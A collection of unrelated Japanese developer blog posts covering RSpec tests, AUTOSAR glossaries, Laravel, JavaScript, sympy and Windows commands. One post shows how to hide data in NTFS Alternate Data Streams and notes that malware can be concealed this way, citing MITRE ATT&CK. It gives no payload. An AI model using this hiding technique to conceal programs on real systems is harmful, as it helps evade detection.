     <%= f.email_field :email, autofocus: true, autocomplete: "email" %>
</div>

```

テストコードでの記述方法（ フォームの名前→実際に表示しているラベル名 ）
```spec/system/users_spec.rb
fill_in 'メールアドレス', with: @user.email
```

---

#### モデルのレコードの数がいくつ変動するのかを確認する
expect{ 何かしらの動作 }.to change { モデル名.count }.by(数字)


例　送信するボタンを押したら、ユーザーモデルのカウントが1上がることを確認する
```spec/system/users_spec.rb
expect{
    find('input[name="commit"]').click
  }.to change { User.count }.by(1)
```


何かしらの動作とは？　
##### ・・　例　実際にクリックできる
find('クリックしたい要素').click



例　html.erbで「新規作成ボタン」がこのような記述の場合
```html.erb
<input type="submit" name="commit" value="新規登録" class="form__btn" data-disable-with="新規登録">
```
テストコードでの記述方法

```spec/system/users_spec.rb
find('input[name="commit"]').click
```

##### もっと簡略化する記述

・・　click_on 'ボタンに書いてある文字'

ボタンに書いてある文字を探してクリックしてくれます。

例　モデルのカウント上下と組み合わせる場合
```spec/system/users_spec.rb
expect{
    click_on '新規登録'
  }.to change { User.count }.by(1)
```

-----

#### a要素で表示されているリンクをクリックする
find_link('リンクの文字列', href: 'URL').click
a要素のみに使用できる

---


## まとめ

最後までご覧くださり ありがとうございました。

今回は結合テストコードを書くときに使う表現 一例をまとめました!
まとめたことで、実際に記述する際にも効率的に記述することができました。


初学者のため、記入漏れや記述ミスがありましたら教えていただけると助かります。

新しく学んだ際は追加していきたいと思います！
Explanation of Application Interfaces of Occupant and Pedestrian Safety Systems Domain, No.271, AUTOSAR R21-11(294) CP

Explanation of Application Interfaces of Occupant and Pedestrian Safety Systems Domain, No.271, 2021-11

https://www.autosar.org/fileadmin/user_upload/standards/classic/21-11/AUTOSAR_EXP_AIOccupantAndPedestrianSafety.pdf

AUTOSAR R21-11記事一覧はこちら。

AUTOSAR 21-11,200文書読んだ。2022年5月にFO, AP, CP 全部到達。

https://qiita.com/kaizen_nagoya/items/4043e8414f850ce266a4

AUTOSAR R21-11(0) 仕様ダウンロード一覧。単語帳。参考文献資料作成

https://qiita.com/kaizen_nagoya/items/9b3a1b9b8d1e8d7e288e

# 用語(terms)
|Term|Description|
|:--|:--|
|AB |Airbag
|AI |Application Interface
|COOP |Critical Out of Position
|eCall |Emergency Call
|HMI |Human Machine Interface
|IF |Interface
|OD |Occupant Detection
|OOP |Out Of Position
|OPS |Occupant and Pedestrian Safety
|OPSS| OPS Systems
|ORA| Occupant Restraint Activation
|PCD |Pedestrian Crash Detection
|PPA |Pedestrian Protection Actuator Activation
|SBR |Seat Belt Reminder
|SRS| Safety Restraint System
|SWC |Software Component
|SWCo |Software Composition
|VCD| Vehicle Crash Detection
|ROD| Rollover Crash Detection
|POD |Pitchover Crash Detection
|Antisubmarine |Term used in restraint systems for automotive applications related to an AB that upon deployment prevents a front row passenger from diving below the dashboard by lifting the person’s lower body. Thus, the person is brougth into a better position relative to the main Front AB
|VH| Variant Handling concept
|SP| Sensor Pool
|AP |Actuator Pool
|CS| Crash Status
|ACC| Adaptive Cruise Controll
|RSM| Restraint System Monitoring
|VCP |Vehicle Crash Prediction
|PCP |Pedestrian Crash Prediction
|OPC |Occupant Pre Conditioning
|RSP| Restraint System Pre conditioning
|PPP| Pedestrian Protection system Pre conditioning
|VCD |Vehicle Crash Detection
|PCI| Post Crash Information
## 英日
日本語は仮訳

T.B.D.

# 参考(reference)
[1] AUTOSAR Table of Application Interface AUTOSAR_MOD_AITable
[2] AUTOSAR_TPS_GenericStructureTemplate.pdf chapter 12
Unique Names for Documentation, Measurement and Calibration: Modeling and Naming Aspects including Automatic Generation, No.537, AUTOSAR R21-11(293) CP

Unique Names for Documentation, Measurement and Calibration: Modeling and Naming Aspects including Automatic Generation, No.537, 2021-11

https://www.autosar.org/fileadmin/standards/classic/21-11/AUTOSAR_TR_AIMeasurementCalibrationDiagnostics.pdf

AUTOSAR R21-11記事一覧はこちら。

AUTOSAR 21-11,200文書読んだ。2022年5月にFO, AP, CP 全部到達。

https://qiita.com/kaizen_nagoya/items/4043e8414f850ce266a4

AUTOSAR R21-11(0) 仕様ダウンロード一覧。単語帳。参考文献資料作成

https://qiita.com/kaizen_nagoya/items/9b3a1b9b8d1e8d7e288e

# 用語(terms)
|Term|Description|
|:--|:--|
|AI |Application interfaces
|component |components are the SwComponentPrototypes of a CompositionSwComponentType
|cp-path |SwComponentPrototype-Path, see chapter 6.3
|dataElement or data element|Element of a port interface of type AutosarDataPrototype, dataElements are VariableDataPrototypes of a PortInterface data prototype An AutosarDataPrototype like VariableDataPrototype or ParameterDataPrototype etc.
|Descriptor| <X>Descriptor: Short form for “ShortName FlatInstanceDesriptor in a FlatMap of target element x of element type X”
|Element| Element might be a prototype element like SwComponentPrototype, AutosarDataPrototype etc. or an ARElement
|MCD |Measurement, Calibration and Diagnostic
|name Us|ed as short form for ShortName if not mentioned otherwise
|parameter| Element of a ParameterInterface of type ParameterDataPrototype, parameters are the ParameterDataPrototypes of a PortInterface
|pb-path |PortPrototypeBlueprint-Path, see chapter 6.3
|P/L-list |List with abbreviations for physical and logical types. See chapter 17
|port| port prototype or port prototype blueprint – depending on context
|SW| Software
|SW-C| Software Component
|virtual name space| In this document we use the term “virtual name space for {element} or {prototype}” to denote that the names of the corre- sponding elements are unique within the corresponding ARPackage, recursively. See chapter 6.6

## 英日
日本語は仮訳

T.B.D.

# 参考(reference)

[1] SW-C and System Modeling Guide
 AUTOSAR_TR_SWCModelingGuide.pdf
[2] Table of Application Interfaces
 AUTOSAR_MOD_AITable.zip
[3] XML Specification of Application Interfaces
 AUTOSAR_MOD_AISpecification.zip
[4] System Template
 AUTOSAR_TPS_SystemTemplate.pdf
[5] Software Component Template
 AUTOSAR_TPS_SoftwareComponentTemplate.pdf
[6] Standardization Template
 AUTOSAR_TPS_StandardizationTemplate.pdf
[7] Generic Structure Template
 AUTOSAR_TPS_GenericStructureTemplate.pdf
[8] Specification of BSW Module Description Template
 AUTOSAR_TPS_BSWModuleDescriptionTemplate.pdf
[9] Specification of RTE
 AUTOSAR_SWS_RTE.pdf
[10] ASAM MCD-2 MC (ASAP2)
www.asam.net
[11] Explanation of Application Interfaces of the Powertrain Domain
 AUTOSAR_EXP_AIPowertrain.pdf
[12] AUTOSAR Predefined Names
 AUTOSAR_TR_PredefinedNames.pdf

Glossary も　参考に入れましょう。

https://www.autosar.org/fileadmin/standards/foundation/21-11/AUTOSAR_TR_Glossary.pdf

 ＜この記事は個人の過去の経験に基づく個人の感想です。現在所属する組織、業務とは関係がありません。＞

# 文書履歴(document history)
ver. 0.01 初稿 　20220531
ADSについて調べてみた

Windows OSのファイルシステムであるNTFSには
ADS(代替データストリーム)という機能がある。

これは元々、Windows OSがインターネット上からダウンロードしたファイルに
Tagをつけるための機能として備わっていた。

インターネット上からダウンロードしたファイルは、ZoneIdentifierという
データストリームタグをつけて、判別できるようにしている。

例えば、**13720110006.pdf** というファイルをインターネットからダウンロードしたとすると
**13720110006.pdf**というファイルが保存される際、**13720110006.pdf:Zone.Identifier:$DATA**
というデータストリームが作成される。

**dir**コマンドに **/r** のオプションをつけることで確認ができる。

```
C:\Users\****\Downloads>dir /r

 C:\Users\****\Downloads のディレクトリ

2021/01/22  17:43         1,233,916 13720110006.pdf
                                 26 13720110006.pdf:Zone.Identifier:$DATA
               1 個のファイル           1,233,916 バイト
               0 個のディレクトリ  132,648,939,520 バイトの空き領域
```

データストリームはファイルに付与される情報のため、ファイルそのものを調べても出てこない。
またファイルシステムが付与する情報のため、別のPCなどに移動すると消えてしまう。

データストリームの中身を見るには、**< (入力のリダイレクト)** を使用する。

例：
**13720110006.pdf:Zone.Identifier:$DATA** の中身を確認したい場合、

```
C:\Users\****\Downloads>more < 13720110006.pdf:Zone.Identifier:$DATA
[ZoneTransfer]
ZoneId=3
```

のようにコマンドを実行することで確認できる。
**ZoneId=3** というのは、インターネットからダウンロードしたファイルというのを示している。

####
■本題

ZoneIdentifierはADSの一種であり、任意のデータストリームを作成することができる。

**temp.txt** というファイルを作り、任意のデータストリームを作成

```
C:\Users\kyuta\Downloads>echo This is sample > temp.txt
```

次にこの **temp.txt** に **hidden_data** というデータストリームを付与する。
やり方はいくつかあるが、最も簡単と思われるやり方が以下

```
C:\Users\****\Downloads>echo "This is the secret message" > temp.txt:hidden_data
```

**hidden_dat**a に **"This is the secret message"** というデータを付与した。

**temp.txt:hidden_data** というデータはHDD上に存在しているが、通常は見えない。

```
C:\Users\****\Downloads>dir temp.txt
 ドライブ C のボリューム ラベルがありません。
 ボリューム シリアル番号は C236-DF96 です

 C:\Users\****\Downloads のディレクトリ

2022/05/31  20:46                17 temp.txt
               1 個のファイル                  17 バイト
               0 個のディレクトリ  132,645,076,992 バイトの空き領域
```

**dir /r** コマンドで、存在を確認できる。

```
C:\Users\****\Downloads>dir /r temp.txt
 ドライブ C のボリューム ラベルがありません。
 ボリューム シリアル番号は C236-DF96 です

 C:\Users\****\Downloads のディレクトリ

2022/05/31  20:46                17 temp.txt
                                 31 temp.txt:hidden_data:$DATA
               1 個のファイル                  17 バイト
               0 個のディレクトリ  132,645,601,280 バイトの空き領域
```

**temp.txt** の中身は、元のまま

```
C:\Users\****\Downloads>type temp.txt
This is sample
```

**hidden_data** データストリームに秘密のデータを隠しておける

```
C:\Users\****\Downloads>more < temp.txt:hidden_data:$DATA
"This is the secret message"
```

ここまでが導入部分

では実際攻撃に利用される場合はどうか。

悪用を防ぐため、詳細は省くが文字列だけでなくデータそのものを書き込めるため
例えばとあるプログラムのデータ丸ごとこのADSに書いておき、特定のタイミングだけ
データを取り出して実行するようにすれば、見かけ上は存在しない悪意のあるプログラムを
隠すことができる。

このテクニックは、**MITRE ATT&CK** の以下のタクティクス、テクニックに分類される

**Tactic: Defense Evasion**

**Hide Artifacts: NTFS File Attributes**

参考：https://attack.mitre.org/techniques/T1564/004/

興味のある方は、深掘りいただければと思う
Requirements on SW-C and System Modeling, No.267, AUTOSAR R21-11(292) CP

Requirements on SW-C and System Modeling, No.267, 2021-11

https://www.autosar.org/fileadmin/user_upload/standards/classic/21-11/AUTOSAR_RS_SWCModeling.pdf

AUTOSAR R21-11記事一覧はこちら。

AUTOSAR 21-11,200文書読んだ。2022年5月にFO, AP, CP 全部到達。

https://qiita.com/kaizen_nagoya/items/4043e8414f850ce266a4

AUTOSAR R21-11(0) 仕様ダウンロード一覧。単語帳。参考文献資料作成

https://qiita.com/kaizen_nagoya/items/9b3a1b9b8d1e8d7e288e

# 用語(terms)
|Term|Description|
|:--|:--|
|Identifiable| any model element that can have a set of attributes. Please refer to the AUTOSAR Meta Model for further and detailed explanation of this term (“Instances of this class can be referred to by their identifier (while adhering to namespace borders))”. Use this term instead of “element” , “data name”, etc. unless a requirement is applicable to a specific Meta Model Identifiable such as Port, Data Type, etc..
|ARElement| As defined into AUTOSAR Meta Model: “An element that can be defined stand-alone, i.e. without being part of another element (except for packages of course). Opposed to packages, the elements are closed sets, i.e. that in a file based description, one ARElement needs to be described completely and cannot be extended or completed by another file”.
|ARPackage| As defined into AUTOSAR Meta Model: “AUTOSAR package, allowing to create top level packages to structure the contained ARElements. ARPackages are open sets, which means that in a file based description system, multiple files can be used to partially describe the contents of a package. This is an extended version of MSR's SW-SYSTEM”.
|AR| AUTOSAR
| ECU| Electronic Control Unit
| HMI| Human Machine Interface
| MISRA| Motor Industry Software Reliability Association
| RTE| Real Time Environment
| SW-C| Software Component
|WP| Work Packag

## 英日
日本語は仮訳

T.B.D.

# 参考(reference)

[1] Software Standardization Template
AUTOSAR_TPS_StandardizationTemplate.pdf
Laravelのアクセサを使用してEloquent取得値をカスタマイズする

# 前置き
とあるプロジェクトにて、DBから取得してきたあるカラム値を、全て変換してからAPIでレスポンスするという要件があった。
単純に考えると「foreachで全件回しながら処理する」になるんだけど、なんかいい感じに出来ないかなーと思った時にLaravelにはアクセサという機能がある事を知ったので、使ってみようと思います。

# 環境
```bash:ターミナル
$ php -v
PHP 7.4.29 (cli) (built: May 11 2022 14:21:44) ( NTS )
Copyright (c) The PHP Group
Zend Engine v3.4.0, Copyright (c) Zend Technologies

$ php artisan -V
Laravel Framework 8.78.1
```

# やりたいこと
一言で言うと、"DBにdate型で格納されている値を、全てunixタイムスタンプ形式に変換して返す。"という要件。
元々unixタイムスタンプ形式で入っていれば取得するだけで良かったんだけど、今回は難しいのでバックエンド側で対応する事となりました。

# アクセサを使って実現する方法

公式に分かりやすく載ってますが、一応。
[Laravel 8.x Eloquent：ミューテタ／キャスト](https://readouble.com/laravel/8.x/ja/eloquent-mutators.html)

## functionを定義する

まず前提として、Modelが定義されている事が前提となります。
定義方法としては、下記の通り。

>アクセサは、アクセス時にEloquent属性値を変換します。
アクセサを定義するには、モデルにget{Attribute}Attributeメソッドを作成します。
{Attribute}は、アクセスするカラムのアッパーキャメルケース（studly case）の名前です。

カスタマイズしたいカラム名のアッパーキャメルケースを繋げて、`get○○Attribute`メソッドを定義するって感じ。
本例では、カラム名が`LAST_UPDATE`だったので、下記のように記述して実現できました。

```php:Model
    /**
     * 更新日時をUnixタイムスタンプ形式で返す
     *
     * @param string
     *
     * @return int
     */
    public function getLastUpdateAttribute($value)
    {
        $last_update = new Carbon($value);

        return $last_update->getTimestamp();
    }
```

簡単ッ！！

## カスタマイズされたカラム値にアクセスする

上記のアクセサの設定を行えば、あとはカラム値取得時に自動で処理が行われ結果が返ります。
確認してみます。


```php:ターミナル
$ php artisan tinker
Psy Shell v0.10.12 (PHP 7.4.29 — cli) by Justin Hileman
>>> $user = User::find(1);
=> App\Models\User {#3666
     id: 1,
     .
     .
     .
     last_update: "2022-03-23 18:26:14",
   }

$ user->last_update
=> 1648027574
```
※一部結果を割愛してます。

想定通り、unixタイムスタンプでlast_updateが取得できました！
パフォーマンスに関しては検証出来てませんが、foreachで回すよりスッキリ書けますし、記述を忘れる心配もないので使える場面があれば積極的に使って良いのかな？と思いました。


# 終わりに
Laravelのアクセサを使用してみました。
今回は取得値をカスタマイズするという用件でしたが、逆にDBに設定する値をカスタマイズする場合はミューテタを使用すればできるみたいです！
アクセサと設定方法も似ているので、簡単に使えそう。

また、単純に属性キャストするだけであれば、`$casts`配列に追加するだけで出来るみたい。
```php:Model
    /**
     * キャストする必要のある属性
     *
     * @var array
     */
    protected $casts = [
        'is_admin' => 'boolean',
    ];
```

こちらも覚えておいて損はなさそうなので、頭の片隅の置いておこう。。

参考
[Laravel 8.x Eloquent：ミューテタ／キャスト](https://readouble.com/laravel/8.x/ja/eloquent-mutators.html)
Explanation of Application Interfaces of the Body and Comfort Domain, No.268, AUTOSAR R21-11(291) CP

Explanation of Application Interfaces of the Body and Comfort Domain, No.268, 2021-11

https://www.autosar.org/fileadmin/user_upload/standards/classic/21-11/AUTOSAR_EXP_AIBodyAndComfort.pdf

AUTOSAR R21-11記事一覧はこちら。

AUTOSAR 21-11,200文書読んだ。2022年5月にFO, AP, CP 全部到達。

https://qiita.com/kaizen_nagoya/items/4043e8414f850ce266a4

AUTOSAR R21-11(0) 仕様ダウンロード一覧。単語帳。参考文献資料作成

https://qiita.com/kaizen_nagoya/items/9b3a1b9b8d1e8d7e288e

# 用語(terms)
|Term|Description|
|:--|:--|
|ATWS| Anti-Theft Warning System
|BBS |Battery Backed Sensor
|CAN |Controller Area Network
|CHLH |Coming Home/Leaving Home
|CL |Central Locking
|ECM |Engine Control Module
|GBS| Glass Brake Sensor
|HMI |Human Machine Interface
|ID |Identity
|IMMO |Immobilizer
|INCL |Inclination sensor
|ISC |Interior Scanner
|LED |Light-Emitting Diode
|LHFD |Left Hand Front Door
|LHRD |Left Hand Rear Door
|OEM |Original Equipment Manufacturer
|PASE| Passive Entry
|PATS |Passive Alarm Theft Sensor
|RF |Radio Frequency
|RHFD |Right Hand Front Door
|RHRD |Right Hand Rear Door
|RKE |Remote Keyless Entry
|HVAC| Heating, Ventilation and Air Conditioning
|DC |Defrost Control
|SC |Seat Climatization
|SA |Seat Adjustment
|SW-C| Software Component
## 英日
日本語は仮訳

T.B.D.

# 参考(reference)
non
Explanation of Application Interfaces of the HMI, Multimedia and Telematics Domain, No.272, AUTOSAR R21-11(290) CP

Explanation of Application Interfaces of the HMI, Multimedia and Telematics Domain, No.272, 2021-11

https://www.autosar.org/fileadmin/standards/classic/21-11/AUTOSAR_EXP_AIHMIMultimediaAndTelematics.pdf

AUTOSAR R21-11記事一覧はこちら。

AUTOSAR 21-11,200文書読んだ。2022年5月にFO, AP, CP 全部到達。

https://qiita.com/kaizen_nagoya/items/4043e8414f850ce266a4

AUTOSAR R21-11(0) 仕様ダウンロード一覧。単語帳。参考文献資料作成

https://qiita.com/kaizen_nagoya/items/9b3a1b9b8d1e8d7e288e

# 用語(terms)
|Term|Description|
|:--|:--|
|HMI| Human Machine Interface
|LED |Light Emitting Diode
|MM/T/HMI| Multimedia / Telematics / Human Machine Interface
|PDC |Park Distance Control
|SWC |Software Component
|UI |User Interface


## 英日
日本語は仮訳

T.B.D.

# 参考(reference)

[1] Explanation of Application Interfaces of the Body and Comfort Domain
AUTOSAR_EXP_AIBodyAndComfort.pdf

Glossary も　参考に入れましょう。


https://www.autosar.org/fileadmin/standards/foundation/21-11/AUTOSAR_TR_Glossary.pdf
Javascriptでオブジェクトリテラル（Object）のキーを変更する(ES6)

ES6のスプレッド演算子（...）と分割代入を使用すると簡単に実現できることが分かりました。

分割代入時に、
抽出したいキーは直接指定、
それ以外をスプレッド演算子で可変長引数を定義して受け取ります。

### 変換したいキーがあることを前提にして変換する

```Javascript
const target = {old_key: 'oldkey_value', other1: 'other_value1', other2: 'other_value2'};
const {old_key, ...others} = target;
const keyTransformed = {...others, new_key: old_key};

console.log(keyTransformed);

// 結果
// {
//  other1: 'other_value1',
//  other2: 'other_value2',
//  new_key: 'oldkey_value'
// }


```

### 変換したいkeyがあるときだけ変換する
```Javascript
const keyTransformer = (target) => {
  const {old_key, ...others} = target;
  if (old_key) {
    return {...others, new_key: old_key};
  } else {
    return {...others}
  }
}

const target_has_key = {old_key: 'old_value', other1: 'other_value1', other2: 'other_value2'};
const target_has_no_key = {new_key: 'new_key_value', other1: 'other_value1', other2: 'other_value2'};

console.log(keyTransformer(target_has_key));

// 結果
// {
//  other1: 'other_value1',
//  other2: 'other_value2',
//  new_key: 'old_value'
// }

console.log(keyTransformer(target_has_no_key));

// {
//  new_key: 'new_key_value',
//  other1: 'other_value1',
//  other2: 'other_value2'
// }

```
仮想マシン上にKubernetesでデプロイしたGitLabのリポジトリをクローンする方法

※リポジトリのhttp://〜をそのまま入力してもクローンできない

#### 1. 仮想マシンのIPアドレスを調べる
```
$ hostname -I
```

#### 2. GitLabのnodeportを調べる
```
$ kubectl get service
```
#### 3. git cloneを行う
```
$ git clone http://IPアドレス:nodeport/~/~
```
Explanation of Application Interfaces of the Powertrain Engine Domain, No.269, AUTOSAR R21-11(288) CP

Explanation of Application Interfaces of the Powertrain Engine Domain, No.269, 2021-11

https://www.autosar.org/fileadmin/standards/classic/21-11/AUTOSAR_EXP_AIPowertrain.pdf

AUTOSAR R21-11記事一覧はこちら。

AUTOSAR 21-11,200文書読んだ。2022年5月にFO, AP, CP 全部到達。

https://qiita.com/kaizen_nagoya/items/4043e8414f850ce266a4

AUTOSAR R21-11(0) 仕様ダウンロード一覧。単語帳。参考文献資料作成

https://qiita.com/kaizen_nagoya/items/9b3a1b9b8d1e8d7e288e

# 用語(terms)
|Term|Description|
|:--|:--|

## 英日
日本語は仮訳

T.B.D.

# 参考(reference)

[1] SW-C and System Modeling Guide
 AUTOSAR_TR_SW-CModelingGuide
[3] XML Specification of Application Interfaces
 AUTOSAR_MOD_AISpecification
[3b] Application Interfaces Examples
 AUTOSAR_MOD_AISpecificationExamples
[4] Explanation of Application Interfaces of the Chassis Domain
 AUTOSAR_EXP_AIChassisExplanation
[5] Unique Names for Documentation, Measurement and Calibration: Modeling and
Naming Aspects including Automatic Generation
 AUTOSAR_TR_AIMeasurementCalibrationDiagnostics
[6] Software Component Template
 AUTOSAR_TPS_SoftwareComponentTemplate
[7] Standardization Template
 AUTOSAR_TPS_StandardizationTemplate
[8] ANTLR parser generator V3
 http://www.antlr.org
[9] Virtual Function Bus
 AUTOSAR_EXP_VFB
[10] Glossary
 AUTOSAR_TR_Glossary
[11] AIDesignPatternCatalogue
 AUTOSAR_TR_AIDesignPatternCatalogue
Explanation of Application Interfaces of the Chassis Domain, No.270, AUTOSAR R21-11(287) CP

Explanation of Application Interfaces of the Chassis Domain, No.270, 2021-11

https://www.autosar.org/fileadmin/standards/classic/21-11/AUTOSAR_EXP_AIChassis.pdf

AUTOSAR R21-11記事一覧はこちら。

AUTOSAR 21-11,200文書読んだ。2022年5月にFO, AP, CP 全部到達。

https://qiita.com/kaizen_nagoya/items/4043e8414f850ce266a4

AUTOSAR R21-11(0) 仕様ダウンロード一覧。単語帳。参考文献資料作成

https://qiita.com/kaizen_nagoya/items/9b3a1b9b8d1e8d7e288e

# 用語(terms)
|Term|Description|
|:--|:--|
|ABS |Antilock Braking System
|ACC |Adaptive Cruise Control
|BAS|Brake Assist
|BRWS |Basic Rear Wheel Steering
|BSTS |Basic Steering Torque Superposition
|BSAS| Basic Steering Angle Superposition
|CBC |Cornering Brake Control
|CoG |Centre of Gravity
|DAS| Driver Assistance System
|DTC| Regulation of the Drag Torque
|EBD |Electronic Brake Force Distribution
|ECU |Electronic Control Unit
|EPB |Electronic Parking Brake
|ESC| Electronic Stability Control
|FA| Front Axle
|HDC |Hill Decent Control
|HHC| Hill Hold Control
|HMI| Human Machine Interface
|HW|Hardware
|NVH |Noise, Vibration, Harshness
OEM Original Equipment Manufacturer
RA Rear Axle
RSC Roll Stability Control
SR Situation Recognition
SSM Stand Still Manager/Management
SW Software
SW-C Software Component
TCS Traction Control System
VFB Virtual Function Bus
VGR Variable Gear Ratio
VLC Vehicle Longitudinal Control
VM Vehicle Model
YRC Yaw Rate Control
## 英日
日本語は仮訳

T.B.D.

# 参考(reference)

[1] Virtual Functional Bus
AUTOSAR_EXP_VFB.pdf
[2] AUTOSAR_SoftwareComponentTemplate.pdf
AUTOSAR_TPS_SoftwareComponentTemplate
[3] Table of Application Interfaces
AUTOSAR_MOD_AITable.pdf

Glossary も　参考に入れましょう。
https://www.autosar.org/fileadmin/standards/foundation/21-11/AUTOSAR_TR_Glossary.pdf
コマンドプロンプトで"重い"プロセスを終了させる

# コマンドプロンプトで"重い"プロセスを終了させる方法

## 使う場面

殆どのアプリが起動できないくらい重いときに使えます。
私が実行した環境はWindows10です。

## 手順

下記、実際の手順例です。
その後、その手順で使ったコマンドについて軽く説明します。

### 例

1. 管理者権限でコマンドプロンプトを起動する
1. 次のコマンドを実行する`tasklist /fi "memusage gt 1000000"`
1. 終了したいプロセスのPIDをメモする
1. 次のコマンドを実行する`taskkill /f /pid 1234` (ただし、メモしたPIDが1234だったとする)

### 説明

#### 手順2. tasklist

手順2で使いました。
> 次のコマンドを実行する`tasklist /fi "memusage gt 1000000"`

コマンドの意味は大体こんなイメージです。
`メモリ使用量が1GB以上のプロセス一覧を表示する`

tasklistは実行中のプロセス一覧を表示するコマンドです。
今回はオプションとして、フィルタ(`/fi`)を使いました。
なぜなら、フィルタを使わなければ、出力のテキストが長くなりどのプロセスを終了させるか迷うからです。

今回用いたフィルタの内容(`memusage gt 1000000`)を日本語で書くと、大体こんな感じです。
`メモリ使用量が1GB以上`

フィルターに用いている各単語の意味は下記の通りです。
```
memusage : メモリ使用量(memory usage)
A gt B : AがB以上(greater than)
1000000 : 1,000,000キロバイト(=1ギガバイト)
```

以上のようにして、手順2では`メモリ使用量が1GB以上のプロセス一覧を表示する`コマンドを実行しました。

なお、1GB以上とした理由は特にありません。
なので、自分が使っている環境に合わせて自由に指定するのが良いと思います。
例えば、2GB(2000000kb)以上でも、10GB(10000000kb)以上でも良いです。
e.g. 2GB以上のプロセス一覧を表示する : `tasklist /fi "memusage gt 2000000"`

#### 手順4. taskkill

手順4で使いました。
> 次のコマンドを実行する`taskkill /f /pid 1234`

コマンドの意味は大体このようなイメージです。
`IDが1234であるプロセスを、強制終了する`

taskkillはプロセスを終了するコマンドです。
今回はオプションとして、下記の二つを使いました。

1. /f : 強制終了
1. /pid : PID(プロセスのID)を指定

強制終了オプションを付けた理由は、もしオプションを付けなかった場合に、「閉じる」ボタンを押しても応答がないプロセスなどを終了できないことがあるからです。

また、PID指定オプションを付けると、指定したプロセスIDを持つプロセスを終了することができます。
今回は1234としました。
ただし実際の場面では、tasklistで一覧表示したときにプロセス名などを手掛かりにして、終了したいプロセスを自分で見つけ、そのPIDを指定します。

以上のようにして、手順4では`IDが1234であるプロセスを、強制終了する`コマンドを実行しました。

## トラブルシューティング

例えば下記のようなエラーが出たら、最初に説明した手順1を飛ばしているのかもしれません(手順1:コマンドプロンプトを管理者権限で実行する)。

```
エラー: PID 11788 のプロセスを強制終了できませんでした。
理由: アクセスが拒否されました。
```

管理者権限で起動するには、今エラーメッセージが表示されているコマンドプロンプトを**閉じず**に、タスクバー上のコマンドプロンプトのアイコンをCtrlキーとShiftキーを押しながら右クリックします。

## 参考文献

コマンドプロンプトで下記のヘルプコマンドを実行して、それを参考にしました。

`help`

`tasklist /?`

`taskkill /?`

## あとがき

パソコンが重いとき以外にも使う癖が身に付けば、タスクマネージャを開いてプロセス終了するよりよほど楽です。
極限と積分「静岡大学2022年前期Ｍ２第４問」をsympy でやってみた。

オリジナル

f=sqrt(log(x))/x

https://mathmathmass.exblog.jp/

# wolframalphaで

https://www.wolframalpha.com/input?i=f%3Dsqrt%28log%28x%29%29%2Fx&lang=ja

X=1で0になっていませんね。微妙なプロットでした。


# sympyで

matplotlibは使っていません。sympyのplotです。
増減表が不足していました。sympyで表示できるような気もします。
X=1で0になっていませんね。

![Figure_1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/109698/58cbc055-0121-d225-fb2f-fc5fd4cde246.png)


```python
from sympy import *
var('x M S V')
f=sqrt(log(x))/x
plot(f)
critical_point = solve(diff(f, x))[0]
print("#(1)",critical_point,f.subs({x:critical_point}))
print("#(1)",solve(f,x)[0])
print("#(1)",limit(f,x, oo))
S=integrate(f, (x, 1, M))
print("#(2)",S)
V=pi*integrate(log(x)/x**2, (x, 1, M))
print("#(3)",V)
print("#(4)",limit(S, M, oo),limit(V, M, oo))
#(1) exp(1/2) sqrt(2)*exp(-1/2)/2
#(1) 1
#(1) 0
#(2) 2*log(M)**(3/2)/3
#(3) pi*(1 - log(M)/M - 1/M)
#(4) oo pi
```
AUTOSAR Classic Platform全部読みしたと思ったら。

AUTOSAR 21-11, 285文書読んだ。2022年5月にFO, AP, CP全部到達。

https://qiita.com/kaizen_nagoya/items/4043e8414f850ce266a4

AUTOSAR Classic Platform全部読みしたと思ったら。

https://www.autosar.org/nc/document-search/

APPLICATION INTERFACE

で検索した文書を見て、えってなった。

Application Interfaces User Guide, No.442, CP

Classic Platform。なんでClassic Platformの検索で出なかったのだろう。

今日で作業が終わったと思ったら、まだ10ちょっとある。全部CPかどうかは確かめていない。もう夜の９時まわった。今日中には終わらない。泣）

ACCEPTANCE TEST の文書も、文書番号がある。更新はしていないとはいえ、廃止したわけではない。ACCEPTANCE TEST for Classic Platformだから、Classic Platformの分類で追記する予定。
SAPUI5 {A > B} {A >/C}の意味を理解する

##  初めに
半年前からSAP勉強し出して
流れで作業しているので実際に
聞かれた時にうまく説明が出来なかったので
自分なりにまとめてみた

## （１）{A>B}
metadataに定義されているデータを呼び出す

ソースにすると以下のような形
```
<Text text="{A>B}">
```

## （２）{A>/C}
エンティティを呼び出す

ソースにすると
```
<DatePicker value="{A>/C}" valueFormat="yyyy-MM-dd" displayFormat="short" placeholder="Enter Date ..." change="" class="sapUiSmallMarginBottom"/>
```

## 違い
（１）の場合
・必ずMeta情報に記載が必要
※無いと表示されない


(2)の場合
エンティティの呼び出しのみ利用

###  最後に
言い訳ではあるが
情報が英語ばかりなのでまだまだ理解不足なところが多々ある
分かれば追記していきたいと思う
googleスプレッドシートでガントチャートを作った

## ガントチャート
開発初心者がスケジュールを作成するために使ったガントチャートです。
日数は休日を含めた開始日と終了日の差で、作業日数は平日の開始日と終了日の差です。進捗度に合わせて色が変わっていきます。
ちなみに、ガントチャートは、考案者のヘンリー・L・ガントに由来するらしい。

https://docs.google.com/spreadsheets/d/1HDj115KlTd6YYR-f3HrYvEnySP_E5A43Qzg12mLNQfo/edit?usp=sharing